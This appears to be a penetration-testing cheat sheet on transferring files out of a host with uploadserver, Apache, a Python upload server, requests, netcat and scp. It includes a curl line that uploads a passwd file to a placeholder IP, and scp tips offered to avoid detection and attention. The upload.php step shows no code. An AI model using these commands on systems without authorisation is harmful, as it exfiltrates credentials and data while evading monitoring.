File Uploading Using Python and Curl¶
- Install uploadserver:
sudo python3 -m pip install --user uploadserver
- Generate a self-signed certificate:
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
- Create a directory for the HTTPS server:
mkdir https && cd https
- Start the upload server with HTTPS support:
sudo python3 -m uploadserver 443 --server-certificate ~/server.pem
- Upload files using curl:
curl -X POST https://hostname/upload -F 'files=@/path/to/file' --insecure
File Uploader on Apache Web Server¶
-
Create
upload.php
in/var/www/html/
: -
Create uploads directory and set ownership to www-data:
mkdir /var/www/uploads && chown www-data:www-data /var/www/uploads
-
Upload a file using wget to the Python HTTP server:
wget --post-file=/path/to/file http://[IP-ADRESS]/
-
Upload a file using wget to the Apache server with upload.php:
wget --post-file=/path/to/file http://[IP-ADRESS]/upload.php
File Uploader Using SimpleHTTPServerWithUpload¶
- Start an HTTP server to accept file uploads using the script from SimpleHTTPServerWithUpload:
python3 SimpleHTTPServerWithUpload.py 80
- Upload passwd file using curl:
curl -F 'file=@/dev/shm/passwd' http://[IP-ADRESS]/
File Uploading Using Python Requests Module¶
- Install the uploadserver package:
pip3 install uploadserver
- Start a Python upload server:
python3 -m uploadserver
- Upload a file:
python3 -c 'import requests;requests.post("http://[IP-ADDRESS]:8000/upload",files={"files":open("/path/to/file","rb")})'
File Uploading Using Netcat¶
- Start a netcat listener to receive file and save it as file.txt:
nc -nvlp 9001 > file.txt
- Send the file.txt to the receiving machine:
nc [IP-ADDRESS] 9001 < file.txt
File Uploading Using SCP¶
- TRANSFERRING FILES WITH A SPECIFIC SSH KEY:
To use a specific SSH key for authentication, include the-i
option. This is useful when dealing with multiple SSH keys or when the default key is not suitable for the connection.
scp -i /path/to/private_key [FILE-TO-SEND] [USER]@[RECEIVER-IP]:/path/to/destination
- USING NON-STANDARD PORTS:
SSH servers often use non-standard ports for security purposes. Specify the port with the-P
option to ensure successful connections.
scp -P 2222 [FILE-TO-SEND] [USER]@[RECEIVER-IP]:/path/to/destination
- VERBOSE MODE FOR DEBUGGING:
Verbose mode provides detailed information about the SCP transfer process, which is invaluable for debugging connection issues.
scp -v [FILE-TO-SEND] [USER]@[RECEIVER-IP]:/path/to/destination
- LIMITING BANDWIDTH USAGE:
To avoid detection or to manage network resources efficiently, you can limit the bandwidth usage during file transfer using the-l
option (specified in kilobits per second):
scp -l 1000 [FILE-TO-SEND] [USER]@[RECEIVER-IP]:/path/to/destination
- TRANSFERRING ENTIRE DIRECTORIES:
When you need to transfer entire directories, use the-r
option to copy recursively. This ensures all files and subdirectories are included.
scp -r [DIRECTORY-TO-SEND] [USER]@[RECEIVER-IP]:/path/to/destination
- PRESERVING FILE ATTRIBUTES:
To preserve file attributes such as modification times, access times, and modes, use the-p
option:
scp -p [FILE-TO-SEND] [USER]@[RECEIVER-IP]:/path/to/destination
- QUIET MODE:
To minimize output and avoid drawing attention, use the-q
option for quiet mode. This suppresses non-error messages.
scp -q [FILE-TO-SEND] [USER]@[RECEIVER-IP]:/path/to/destination